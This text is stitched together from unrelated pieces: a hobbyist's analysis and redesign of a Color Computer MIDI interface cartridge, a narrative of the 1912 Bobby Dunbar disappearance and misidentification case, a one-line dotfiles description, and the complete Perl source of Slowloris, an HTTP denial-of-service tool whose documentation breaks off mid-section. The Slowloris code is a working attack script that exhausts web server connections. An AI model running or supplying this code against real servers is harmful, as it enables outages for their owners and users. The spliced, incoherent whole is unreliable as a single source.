Electrolytic with a .1uF Ceramic Disc should provide approximately the same result as a single Low ESR type. Moving on to Page 2, we see a crystal oscillator comprised of three inverters, three resistors and a crystal rated at 1 to 2 MHz. The third inverter actually acts as a buffer and "shaper". Schmitt Trigger inverters are used, although this is not actually necessary it does provide a nice, sharp square wave. Without the hysteresis provided by the schmitt triggers the waveform would appear quasi-sinusoidal at the crystal frequency if viewed on an oscilloscope, but would still function just fine. The output of that third inverter, the buffer stage, is fed into a pair of toggling D type Flip-Flops which provide a divide by two output and a divide by four output, either of which may be selected by jumper JP4. Ideally, we want a solid 500KHz squarewave as the ACIA Clock (which "Little John" labeled "MIDICLOCK" or "MIDICLK"). If a 1MHz crystal is used we would place JP4 on Pins 1 and 2. With a 2MHz crystal we would connect JP4 Pins 2 and 3. This is flexible in that it allows the use of either a 1MHz or 2MHz crystal, whichever might be handy. In my case, and for the redesign, I have a large stock of 16MHz half-can oscillators and so this is what I will be using in the redesign. The 500KHz then, will be derived from the 16MHz oscillator by using the 16MHz to clock a binary counter. At the bottom left of Page 2, we also see three inverters used to invert A7, A4 and A3. This appears to be part of the "address decoding" scheme. Lastly, we see the decoupling capacitors for the inverters and "d-flops". This page (page 2) of the design is fairly solid and well designed. Moving on to page 3, we see the "heart" of the "CC-FlexiMIDI-V1R0-03.09.2009" MIDI Interface Pak. A 74LS133 13-Input NAND is used for address decoding. The 74LS133 in conjunction with the aforementioned inverters and the ACIA enable lines fully decode the ACIA into two consectutive memory addresses. With this, we can now decipher the addressing of the device. This will be done by writing A15 - A0 and filling in the "bit status" required to enable the ACIA, as follows: ========================================================================= | A15 A14 A13 A12 | A11 A10 A09 A08 | A07 A06 A05 A04 | A03 A02 A01 A00 | |=================|=================|=================|=================| | 1 1 1 1 | 1 1 1 1 | 0 1 1 0 | 0 1 1 x | |=================|=================|=================|================== | F | F | 6 | x | ========================================================================= Looking at the above table and noting that A0 selects one of the two internal ACIA registers, it is clear that "Little John" mapped the ACIA to 0xFF66 and 0xFF67. This seems ODD because the most popular MIDI Packs designed for use with the Tandy Radio Shack TRS-80 Color Computer decode the ACIA to 0xFF6E and 0xFF6F. A bit of research, however, led to the discovery that the original CoCo MIDI Pack, "The Colorchestra", mapped the ACIA at 0xFF66 and 0xFF67. The "Colorchestra" was released in 1985 by "Color Horizons" and I own two of them. The aforementioned "research" was simply me looking at the "Colorchestra" P.C.B. and deciphering the address decoding which turns out to be 0xFF66-67. I assume that "Little John" arrived at the 0xFF66-67 addressing in a similar manner as to that just mentioned. It would be relatively easy to redesign the "FlexiMIDI" to respond to both sets of addresses thus guaranteeing compatibility with everything. I have decided, however, that the redesign will feature a semi-programmable address decoder allowing the ACIA to be mapped to any two consecutive addresses within the 0xFF6n area. This will allow the "Flexi-MIDI" to be even more flexible. Setting the address decoder to respond to 0xFF66-67 will make the device "Colorchestra" compatible, whilst setting the decoder to respond to 0xFF6E-6F will make it compatible with the MIDI Interfaces produced by Speech Systems, MusicWare, Rulaford Research, Glenside CoCo Club and other CoCo MIDI Packs. As mentioned, it would be relatively easy to hardwire the decoder to respond to both the 0xFF66-67 and the 0xFF6E-6F address ranges, but I feel that this is unneccesary. Next, we see the 6850 ACIA. This is the "true heart" of the device - a hardware serial port. Looking at the 6850 section of this page of the schematic, we see yet another oddly interesting Interrupt Selection circuit. It is in the form of a 2x4 Jumper Block. This appears to allow selection of any 1 of 4 interrupts to be triggered by the ACIA. IRQ0* and IRQ1* are the previously mentioned "custom" interrupts. NMI* is the 6809 or G.I.M.E./A.C.V.C. Non-Maskable Interrupt Input. The last interrupt on the 2x4 block is the CART* interrupt. This is actually the 6809 or G.I.M.E. IRQ* line that is passed through a PIA inside the CoCo/Dragon. This, the CART* interrupt is the one that should be used for compatibility. The remaining circuitry on Page 3 are fairly standard circuits for MIDI IN, OUT and THROUGH. These go to 5-pin headers. It appears that "Little John" intended for MIDI Cable ends to be soldered to these headers. The redesign will feature 5-pin DIN MIDI connectors. I do see some potential problems with these MIDI IN, OUT and THRU connections on "Little John's" original design. The first problem that I notice is that the MIDI Ground Pins are connected to the same Ground (common or GND) as the computer and MIDI Pack circuitry. This is no good as it violates the MIDI specification and defeats the purpose of the opto-isolator. Thus, the redesign will sever the ground connection of the DIN connectors from the ground connection of the MIDI Interface Pak circuitry. Next, the 330 Ohm (330R) pull-up resistor connected to the output of the opto-isolator should probably be 270R, however, the device should work fine with the 330R resistor. The redesign will have this changed to 270R. The 10K resistor connected to the "BASE" of the opto-isolator darlington-transistor pair should not be needed. I will allow for it in the redesign for testing purposes. The output of the opto-isolator is sent through two schmitt trigger inverters before being applied to the "Receive Data" input of the ACIA. I am drawing the following conclusion in regards to those two inverters: It seems the design was originally intended for use with a Sharp PC-900 or PC-900V digital opto-isolator which has an internal schmitt trigger, the hysteresis of which provides nice, sharp waveform edges. It appears that "Little John" decided, instead, to use a 6N138 opto-isolator, which does not have hysteresis (schmitt triggering) and thus he must have included the two inverters to alleviate this perceived problem. I am relatively certain, however, that these two inverters are unneccessary and thus I will remove them in the redesign. Had I not used two of the inverters in the hex-inverter package for address decoding, I might have left these two inverters in the redesign, however, I decided the savings of one chip was worth eliminating these two inverters. Hopefully, results will be satisfactory. That is about it for the initial analysis of "Little John's" original design. I shall now proceed to design a slightly improved and, hopefully, manufacturable version of "Little John's CC-FlexiMIDI-V1R0-03.09.2009" Hardware M.I.D.I. Interface Pack. This redesign will be titled: "CC-FlexiMIDI-V1R1-03.09.2009". ================================ THE REDESIGN: Load up the NEW design from the CURRENT folder in the archive and use it to follow this discussion. Starting with Page 1 of the schematic, I will start the redesign with the Cartridge Program Pak Slot Plug (Edge-Card or Edge-Fingers). This is what will actually plug into the cartridge port on the computer or Multi-Pak Interface (M.P.I.). Next, I will add an edge card socket wired in parallel to the edge-fingers. This is based on "Little John's" Universal Footprint which means that you can fit either a 40-pin card socket or a 40-pin header. This will allow an additional cartridge or other hardware to be plugged directly into the MIDI Interface, thus eliminating the need for a "y-cable" or Multi-Pak Interface. The +5V is filtered with a 220uF Electrolytic Capacitor in parallel with a .1uF Ceramic Disc or Dacron/Polyester/Mylar capacitor. A Power ON L.E.D. indicator is included here, along with an enable/disable jumper. Removing the jumper disables the Power ON L.E.D. should it become a distraction. Next, I'll add in the "CUSTOM" Interrupts, including their jumpers. The jumpers should be REMOVED from all of these if the device is to be used with a CoCo 1 and/or M.P.I. (Multi-Pak Interface) or with ANY of the CoCo Clones and/or compatibles, including the Dragon. In actuality, these jumpers should never be needed and thus should never be installed - they are for experimental purposes only. Removing the jumpers prevents the accidental application of +/-12V to the IRQ* output pin of the ACIA which would fry the ACIA. I have included 680R "failsafe" resistors, but it is likely that they would not prevent a fried ACIA. Lastly, I have included the RESET Switch for convenience. The RESET switch should NEVER be pressed if the device is inserted in a Multi-Pak Interface as you may blow the 74LS367 in the M.P.I. That is about it for Page 1 of the redesign. Moving on to Page 2: This page is exclusively dedicated to the Baud Rate Generator for the ACIA. Starting at the left, we see the bypass capacitors for the 74LS590 counter. I have used both a 10uF Electrolytic and a .1uF (100nF) Ceramic Disc. This would be important for a ripple counter, however, the LS590 is a synchronous counter and so the Electrolytic could be omitted. I chose to leave it in. There is also a bypass capacitor for the 16MHz oscillator can. I created a dual-footprint for the oscillator can which allows the use of a full or half can oscillator. The 16MHz is fed into the LS590 counter which provides a choice of ten different clocks for the ACIA. For compatibility with existing standard MIDI packs for the CoCo, the 500KHz clock should be selected. The LS590 has an output register which is clocked by the same 16MHz that clocks the counter section. The enable pin of the oscillator is connected to system RESET* which prevents it from oscillating when the system is in a reset state. This pin could have been left floating causing the oscillator to always oscillate. It will work either way. Page 3 is the semi-programmable address decoder. The 74LS133 in conjunction with the two inverters decodes 0xFF6n - the output will go low on any access to the 0xFF6x range. Only 12 of the 13 inputs to the LS133 were needed. The unused input could be connected to Vcc, E or RESET*. It is important to gate the E Clock in at some point and it could have been done here. I chose to connect the input to RESET*. The ACIA actually has an E Clock input which gates it with the E-Clock so it probably does not need to be gated to the address decoder, though, as you'll see, I gated the E-Clock into the next stage. The 74LS138 decodes 1 of 8 sets of even/odd addresses in the 0xFF6n range (it is enabled by the output of the LS133 and the E-Clock).) So, when any address in the 0xFF6n range appears on the address buss during the high time of the E-clock, the LS138 is enabled and decodes A1-A3 into 1-of-8 chip selects. For maximum compatibility, the 0xFF6E-F output should be selected. Page 4: This is the 6850 ACIA. This should be either a 68B50 or a 63B50 or 63C50 for operation at up to 2MHz CPU Clocks. This should be pretty self-explanatory. The 6850 datasheet can fill in any necessary details. Page 5: This is a fairly standard MIDI IN circuit. There are two optocouplers here: a 6N138 and a PC-900 - You should use ONLY ONE, not both. R9 is only needed if you use the 6N138. The diode is a 1N4148 or 1N914A. Page 6: This is a fairly standard MIDI Out circuit. Page 7: This is the final page and is a fairly standard MIDI Thru circuit. It simply echoes the MIDI In. Well, that's about it for a redesign of "Little John's" original. I am ordering some prototype boards to see if this thing will work. Updated to CC-FlexiMIDI-V1R2-12.29.2019 on December 29, 2019 - This minor update: A Universal 5-Pin DIN component was created and the GND Connection was reconnected to MIDI OUT and MIDI THRU. NO GND connection was made to MIDI IN. This should now create a proper MIDI Interface.

On Friday, August 23, 1912, four-year-old Bobby Dunbar along with his family were staying at their family cabin in Louisiana on Swayze Lake, a heavily wooded area that was more like a swamp. The 11 party members included Bobby's parents Lessie and Percy Dunbar, Bobby's brother Alonzo, as well as several other family and friends. On that day, Percy Dunbar, Bobby's father, had to leave for work much to young Bobby's dismay, who, in a tantrum about his father leaving, broke the strap of his straw hat. Lessie, Bobby's mother, was preparing for a fish fry. Bobby then expressed that he wanted to go with Paul Mizzi, a family friend, to the lake to shoot garfish. Paul often took Bobby horseback riding and had an affectionate nickname for him, "Heavy". His mother allowed it and the rest of the boys in the party decided to join. Later, the group of boys were called back for lunch and they started making their way back, though from here the details get fuzzy. Paul recalled putting Bobby's brother Alonzo on his shoulders, joking with Bobby, "get out of the way, Heavy, or I'll run you over." Bobby's response, what some newspapers report as his last words, was characteristic to his personality, retorting, "you can't do it. You ain't no bigger than me." When they returned back to camp, Lessie realized her son, Bobby, was no longer with the group and was missing. She and Paul began to call out for Bobby in a panic and at one point Lessie fainted into the dirt. Three men from the party began to search north on the wagon trail behind the camp, in case Bobby had gone after his father. On their search, they ran into Percy on his way back from working, who raced to camp when he heard of Bobby's disappearance. By that night, with no trace of Bobby, searchers began to look for Bobby's body. They used dynamite to blast throughout the lake while a thick cable with massive hooks stretched across the length to drag the depths. After the night was over, divers also went into the lake to search any coves the hooks were unable to reach or places where a body could get trapped in the weeds. The only corpse they turned up from these efforts was that of a deer. Because Bobby's body had not been recovered in the lake, searchers believed he could have been killed by an animal, with the most likely predator being an alligator. Searchers even cut alligators open hoping they might find his remains inside, to no avail. By Saturday, August 24th, about 500 men had come to search for Bobby. Searchers even did a test using a straw hat with a broken strap like the one Bobby had on to test how long it could float, finding that it could float uninhibited for hours, leading searchers to believe there should have at least been some evidence of Bobby's hat. The stress of Bobby's disappearance caused his mother Lessie to become grievously ill and most of the family had to return to their home in Opelousas, Louisiana. Paul Mizzi, who had been the last adult to see Bobby alive, along with two other men who had been guests at that fateful fish fry that day would stay and continue to search for weeks more. Searchers found a solitary set of bare footprints leading toward a railroad trestle bridge heading out of the swamp, with still no body or even a trace of evidence to prove he had been killed by an animal. Those who continued the desperate search began to question if Bobby could have been kidnapped. It was speculated that someone in a small boat could have taken him through the north end of the lake into the bayou or someone on foot could have taken him on the trail or down the train tracks. Searchers had run into stragglers walking along the tracks and began to question if one of them could have taken Bobby. By August 26th, the authorities had also contacted the police in New Orleans about 130 miles away to search for Bobby there, giving those invested in the theory of his kidnapping further hope and official validation. Percy Dunbar would also go to New Orleans himself to distribute 700 copies of Bobby's picture and talked with many reporters. A detective agency made postcards with a picture and description of Bobby and mailed them to town and county officials from East Texas to Florida. The description of Bobby that was widely distributed read, "age four years and four months; full size for age; stout but not fat; large, round blue eyes; light hair and very fair skin, with rosy cheeks. Left foot had been burned when a baby and shows a scar on the big toe, which is somewhat smaller than big toe on the right foot. Wore blue rompers and a straw hat; without shoes." The Dunbar's whole home town of Opelousas held out hope that Bobby was still alive and together contributed to a $1,000 reward, which was "to be paid to any person or persons who will deliver to his parent's alive little Robert Clarence Dunbar. No questions asked." In 1912, this was a relatively enormous amount, roughly equivalent to about $22,000 today. However, after over eight months with no sign of Bobby, the unused reward money was returned to the townspeople who had donated it, but only a week after a major lead in the case broke. In April, 1913, a wire from the Ladies of Hub came to alert the Dunbars that an old tinker/peddler named William Cantwell Walters was spotted in the small town of Hub in southern Mississippi with a boy resembling Bobby, though his foot had been too covered in grime for anyone to get a good look. Walters had given authorities various and inconsistent answers about who the child belonged to, saying it was his own, his sister's, et cetera. Eventually the Ladies had witnessed Walters whipping the child, finally giving a citizens' committee enough to temporarily detain Walters and examine the boy, which they then firmly believed was Bobby, but asked the Dunbars to send further photo evidence. The Dunbars remained skeptical until they in turn received photos of the boy, and at this point the Dunbars traveled to Mississippi to see him in person, still not sure if it was their Bobby. The boy they had found had a scar on his left foot, as well as a mole on his neck where Bobby had one. However, he refused to answer to the name Bobby and when Lessie tried to hold him, he refused to interact with her. Lessie asked to see the boy again the next day and in their time together was able to give him a bath. At this point, she felt without any doubt that they had found Bobby. In a wave of emotion, she's recalled as shouting, "thank God, it is my boy" before fainting. Meanwhile, William C. Walters, the man whom the boy was taken from, was insistent that the boy was not Bobby Dunbar, but in fact Bruce Anderson. Walters claimed the boy was the illegitimate son of his brother and a woman named Julia Anderson, who had cared for his elderly parents back home in Barnesville, North Carolina. Julia Anderson was a single mom who did in fact work as a field hand and a caretaker for William Walters's parents. Walters claimed that Julia had given him the boy willingly, which Julia did confirm, though she disputed some of the details of his story, telling the paper, "Walters left Barnesville, North Carolina, with my son, Charles Bruce, in February of 1912, saying that he only wanted to take the child with him for a few days on a visit to the home of his sister. I have not seen the child from that day to this. I did not give him the child, I merely consented for him to take my son for a few days." Some were skeptical at his motives to claim he was given consent to take the child, as kidnapping was a capital offense in Louisiana and he could be just trying to avoid the kidnapping charge. He wrote to the Dunbars explaining so much and begged them to send for her, saying, "I know by now you have decided. You are wrong, it is very likely I will lose my life on account of that and if I do the Great God will hold you accountable." A newspaper in New Orleans arranged to bring Julia Anderson to Mississippi so she could identify the boy as well and she arrived in Opelousas on May 1st, 1913. However, stepping into the Dunbar's hometown, Julia Anderson was essentially already on enemy territory, as the town had already decided that the boy was Bobby Dunbar, who had miraculously come back to them. His return was made into a huge spectacle and he rode through town and into the square on a fire engine covered in flowers. When Julia Anderson met the boy, he did not react well to her, much like he had originally acted with Lessie Dunbar, though he may still have been reeling from the many sudden changes in his life, including the fact that in his beautiful new home he had just been given a pony and a bicycle. Additionally, Anderson had been missing her son for even longer than the Dunbars. It had been 15 months since she had allowed Walters to take Bruce and he had never returned with him. Similar to Lessie Dunbar, at first Anderson also had trouble identifying the boy as her son, but soon after stated that "her mother's heart" knew that the boy was her son. However, unlike with Lessie Dunbar, Anderson's initial uncertainty was not easily forgiven by the press. The press largely demonized her for having three children by two different men and it was implied she was a prostitute. Others called her illiterate and naive. They also called attention to the fact that she had lost all of her children within just a year. She had to give her daughter up for adoption, she had a baby who died a sudden death that she was wrongfully blamed for, then Bruce was taken from her. An article written in the New Orleans Item wrote of Anderson, "she had not seen her son since February of 1912, she had forgotten him. Animals don't forget, but this big, coarse country woman, several times a mother, she forgot." A court-appointed arbiter ruled that the boy was the Dunbar's missing son rather than Anderson's, as Anderson had no lawyer, no money, and no allies in Opelousas. She left town and the boy was uncontestedly allowed to remain Bobby Dunbar. William Walters went through a two-week trial that was described by some as "sensational", at which he was convicted of kidnapping and sentenced to life in prison. After just two years in jail, William Walters' verdict was overturned on an appeal and he was granted a new trial on a technicality. As for the boy, he grew up and lived as Bobby Dunbar. At 18, he fell in love with a girl named Marjorie from a nearby town. They married in 1935 and had four children. He passed away in 1966, always believing he was Bobby Dunbar, but this story doesn't end there. Skipping forward to 1999, Bobby Dunbar's granddaughter, Margaret Dunbar Cutright, began looking deeper into her family's history. Cutright had always been especially intrigued by the family legend of her grandfather's kidnapping and had asked her grandmother to tell her the story many times in her childhood. It was then a story that she told to her own children. A scrapbook with over 400 articles about the Dunbar case was given to Cutright by her father. She writes of the project, "the scrapbook was like a jigsaw puzzle without the picture on the box, and over the next few months, I lost myself in trying to piece it together." She was especially affected by an editorial cartoon from 1913 titled "Fifty Years From Now", in which a bearded old man sits in a chair with his grandson looking at newspapers from the Dunbar kidnapping trial and asks, "Grandpa, do you think we'll ever know for certain what our right name is." Cutright instantly noticed discrepancies in how newspapers were reporting the events. For example, there were at least two different reported versions of Lessie and Bobby's reunion. One paper stated that Lessie recognized Bobby immediately, while the other described Lessie as unsure, even including a quote from Lessie saying, "I do not know, I am not quite sure." She also found that Percy and Lessie had originally told the papers that the boy didn't look like their son, and that his eyes were too small. Some newspapers also reported Bobby didn't recognize his father, mother, or brother Alonzo. She also was disturbed to read the many biased accounts of Julia Anderson from the time and to read that from Anderson's perspective, she had felt that the Dunbars had kidnapped her son. Linda Tarver, the granddaughter of Julia Anderson, says of the family perception, "all of us cousins grew up, we knew that we had an uncle that had been taken by the Dunbar family in Opelousas, Louisiana. We always said kidnapped. We said they kidnapped him." Cutright continued her search obsessively, researching at small town libraries, archives, and courthouses all over the south. Eventually, the idea of testing her grandfather's DNA came up. Cutright's father, Bobby Dunbar Jr., agreed to give a DNA sample to compare with a sample given by one of her great-uncles, a son of Bobby's brother Alonzo. This was a controversial choice and many in the family urged Dunbar to leave the past alone. Gerald Dunbar, one of Cutright's uncles, said of the matter, "no matter how a DNA test turns out, there's going to be a sense of loss. What is to be truly gained." Exactly, when the test results came back, shockingly, the samples did not match, leaving Bobby's son Robert Dunbar Jr. himself surprised. He said of the outcome, "my intent was to prove that we were Dunbars. The results didn't turn out that way, and I have had to do some readjusting of my thinking. But I would do it again." Still, although this test proves that the boy was not Bobby Dunbar, there does not seem to have been a test administered to prove that the boy was in fact Bruce Anderson. Hollis Rawls, Anderson's son, had expressed a willingness to submit DNA before he passed away, but even without confirmation of that DNA evidence, many were apt to believe that Bobby Dunbar had actually been Bruce Anderson. In terms of incorrectly identifying himself as a Dunbar, Bobby Dunbar Jr. recalled a conversation he had with his father when he was a teenager in which he asked his father how he knew he was Bobby Dunbar and remembered his father telling him, "I know who I am, and I know who you are, and nothing else makes a difference." This settles the mystery of the boy that was found and yet the chilling mystery surrounding the boy lost continues to persist. Many wonder what actually happened to Bobby Dunbar that day. Some continue to believe that he was eaten by an animal, such as an alligator or a bear, though no evidence such as clothing was ever found to suggest that. Some wonder if he was actually kidnapped after all. In an interview in 1932, Bobby Dunbar, who was probably Bruce Anderson, recalled a memory of his time with William Walters in which he revealed that he remembered that there was another boy with him who fell off the wagon and died and was buried. Some wondered if the memory had been a memory of suggestion, as there had been theories posed by the prosecution at Walters's trial that he could have kidnapped both Anderson and Dunbar. Psychologically, some posit these theories could have allowed the boy to rationalize Bruce Anderson's death and allowed a narrative as Bobby Dunbar to begin.

A collection of my dotfiles that might prove useful to others at some point.

#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: 